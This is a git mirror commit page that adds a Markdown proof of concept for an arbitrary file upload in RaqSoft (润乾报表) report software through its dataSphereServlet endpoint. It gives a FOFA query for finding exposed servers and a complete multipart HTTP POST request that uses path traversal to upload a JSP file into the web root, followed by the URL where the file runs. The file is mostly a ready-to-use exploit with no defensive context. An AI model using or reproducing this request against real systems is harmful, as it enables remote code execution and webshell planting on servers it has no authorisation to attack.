mirror of
https://github.com/wy876/POC.git
synced 2025-02-27 04:39:25 +00:00
Create 润乾报表dataSphereServlet任意文件上传.md
This commit is contained in:
parent
f4fd148723
commit
99e5b74798
43
润乾报表dataSphereServlet任意文件上传.md
Normal file
43
润乾报表dataSphereServlet任意文件上传.md
Normal file
@ -0,0 +1,43 @@
|
|||||||
|
## 润乾报表dataSphereServlet任意文件上传
|
||||||
|
|
||||||
|
## fofa
|
||||||
|
```
|
||||||
|
body="/raqsoft"
|
||||||
|
```
|
||||||
|
|
||||||
|
## poc
|
||||||
|
```
|
||||||
|
POST /demo/servlet/dataSphereServlet?action=38 HTTP/1.1
|
||||||
|
Host:
|
||||||
|
Content-Length: 408
|
||||||
|
Cache-Control: max-age=0
|
||||||
|
Upgrade-Insecure-Requests: 1
|
||||||
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAT7qVwFychEm0Dt7
|
||||||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
|
||||||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||||
|
Referer: http://127.0.0.1:6868/demo/raqsoft/guide/jsp/olap.jsp
|
||||||
|
Accept-Encoding: gzip, deflate, br
|
||||||
|
Accept-Language: zh-CN,zh;q=0.9
|
||||||
|
Cookie: JSESSIONID=D46F0E193FBD9BC2FCFB32D684296765
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
------WebKitFormBoundaryAT7qVwFychEm0Dt7
|
||||||
|
Content-Disposition: form-data; name="openGrpxFile"; filename="1.jsp"
|
||||||
|
Content-Type: text/plain
|
||||||
|
|
||||||
|
<% out.println("123"); %>
|
||||||
|
------WebKitFormBoundaryAT7qVwFychEm0Dt7
|
||||||
|
Content-Disposition: form-data; name="path"
|
||||||
|
|
||||||
|
../../../
|
||||||
|
------WebKitFormBoundaryAT7qVwFychEm0Dt7
|
||||||
|
Content-Disposition: form-data; name="saveServer"
|
||||||
|
|
||||||
|
1
|
||||||
|
------WebKitFormBoundaryAT7qVwFychEm0Dt7--
|
||||||
|
```
|
||||||
|

|
||||||
|
|
||||||
|
文件路径:`http://127.0.0.1:6868/demo/1.jsp`
|
||||||
|
|
||||||
|

|
||||||
Loading…
x
Reference in New Issue
Block a user